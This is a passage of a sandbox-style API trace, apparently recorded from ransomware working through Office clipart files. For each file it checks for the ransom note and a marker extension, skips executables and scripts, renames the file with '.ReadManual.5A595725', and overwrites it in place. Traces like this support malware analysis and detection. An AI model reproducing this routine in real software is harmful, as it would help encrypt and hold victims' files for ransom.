[0270.755] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.ReadManual.5A595725" [0270.755] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.ReadManual.5A595725") returned 87 [0270.755] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39142371996) returned 1 [0270.755] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf")) returned 0x20 [0270.755] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.756] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13468) returned 1 [0270.756] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x349c, lpName=0x0) returned 0x184 [0270.756] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.756] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.756] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.758] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.758] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x349c) returned 0x2f0000 [0270.759] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.759] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39142742613) returned 1 [0270.759] CloseHandle (hObject=0x184) returned 1 [0270.759] SetSecurityInfo () returned 0x57 [0270.759] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.759] CloseHandle (hObject=0x194) returned 1 [0270.759] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb77a00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bb77a00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01627_.WMF", cAlternateFileName="")) returned 1 [0270.759] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01627_.WMF" | out: lpString1="NA01627_.WMF") returned="NA01627_.WMF" [0270.759] lstrcmpiW (lpString1="NA01627_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.759] StrStrIW (lpFirst="NA01627_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.759] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.759] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.759] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.760] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.760] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.760] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.760] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.760] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.760] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.760] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.760] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.760] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.760] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.760] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.760] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" [0270.760] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.ReadManual.5A595725" [0270.760] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.ReadManual.5A595725") returned 87 [0270.760] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39142878915) returned 1 [0270.760] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf")) returned 0x20 [0270.760] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.761] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3296) returned 1 [0270.761] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xce0, lpName=0x0) returned 0x184 [0270.761] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.761] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.761] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.763] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.763] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xce0) returned 0x2f0000 [0270.763] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.763] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39143211723) returned 1 [0270.763] CloseHandle (hObject=0x184) returned 1 [0270.763] SetSecurityInfo () returned 0x57 [0270.764] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.764] CloseHandle (hObject=0x194) returned 1 [0270.764] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d600, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f01d600, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xb9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01680_.WMF", cAlternateFileName="")) returned 1 [0270.764] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01680_.WMF" | out: lpString1="NA01680_.WMF") returned="NA01680_.WMF" [0270.764] lstrcmpiW (lpString1="NA01680_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.764] StrStrIW (lpFirst="NA01680_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.764] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.764] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.764] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" [0270.764] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.ReadManual.5A595725" [0270.764] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.ReadManual.5A595725") returned 87 [0270.764] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39143308859) returned 1 [0270.764] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf")) returned 0x20 [0270.765] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.765] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2974) returned 1 [0270.765] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb9e, lpName=0x0) returned 0x184 [0270.765] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.766] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.766] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.767] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.767] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb9e) returned 0x2f0000 [0270.768] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.768] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39143633862) returned 1 [0270.768] CloseHandle (hObject=0x184) returned 1 [0270.768] SetSecurityInfo () returned 0x57 [0270.768] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.768] CloseHandle (hObject=0x194) returned 1 [0270.768] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6e4f00, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6e4f00, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xc88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01682_.WMF", cAlternateFileName="")) returned 1 [0270.768] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01682_.WMF" | out: lpString1="NA01682_.WMF") returned="NA01682_.WMF" [0270.768] lstrcmpiW (lpString1="NA01682_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.768] StrStrIW (lpFirst="NA01682_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.768] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.768] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.768] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" [0270.768] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.ReadManual.5A595725" [0270.768] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.ReadManual.5A595725") returned 87 [0270.768] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39143725888) returned 1 [0270.769] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf")) returned 0x20 [0270.769] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.769] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3208) returned 1 [0270.769] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc88, lpName=0x0) returned 0x184 [0270.769] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.770] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.770] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.771] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.772] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc88) returned 0x2f0000 [0270.772] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.772] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39144052346) returned 1 [0270.772] CloseHandle (hObject=0x184) returned 1 [0270.772] SetSecurityInfo () returned 0x57 [0270.772] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.772] CloseHandle (hObject=0x194) returned 1 [0270.772] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65da4900, ftCreationTime.dwHighDateTime=0x1bd4bda, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65da4900, ftLastWriteTime.dwHighDateTime=0x1bd4bda, nFileSizeHigh=0x0, nFileSizeLow=0x14c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01701_.WMF", cAlternateFileName="")) returned 1 [0270.772] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01701_.WMF" | out: lpString1="NA01701_.WMF") returned="NA01701_.WMF" [0270.772] lstrcmpiW (lpString1="NA01701_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.772] StrStrIW (lpFirst="NA01701_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.772] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.772] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.772] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.772] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.772] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.772] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.772] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.772] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.772] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.772] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.772] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.772] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.773] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.773] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.773] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" [0270.773] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.ReadManual.5A595725" [0270.773] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.ReadManual.5A595725") returned 87 [0270.773] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39144148262) returned 1 [0270.773] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf")) returned 0x20 [0270.774] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.774] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5316) returned 1 [0270.774] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14c4, lpName=0x0) returned 0x184 [0270.774] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.775] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.776] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.777] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.778] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14c4) returned 0x2f0000 [0270.778] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.778] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39144655220) returned 1 [0270.778] CloseHandle (hObject=0x184) returned 1 [0270.778] SetSecurityInfo () returned 0x57 [0270.778] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.778] CloseHandle (hObject=0x194) returned 1 [0270.778] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01848_.WMF", cAlternateFileName="")) returned 1 [0270.778] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01848_.WMF" | out: lpString1="NA01848_.WMF") returned="NA01848_.WMF" [0270.778] lstrcmpiW (lpString1="NA01848_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.778] StrStrIW (lpFirst="NA01848_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.778] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.778] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.778] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.778] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.778] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.778] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.778] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.778] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.778] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.779] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.779] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.779] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.779] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.779] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.779] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" [0270.779] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.ReadManual.5A595725" [0270.779] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.ReadManual.5A595725") returned 87 [0270.779] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39144754318) returned 1 [0270.779] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf")) returned 0x20 [0270.779] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.779] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1120) returned 1 [0270.779] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x184 [0270.779] SetFileInformationByHandle 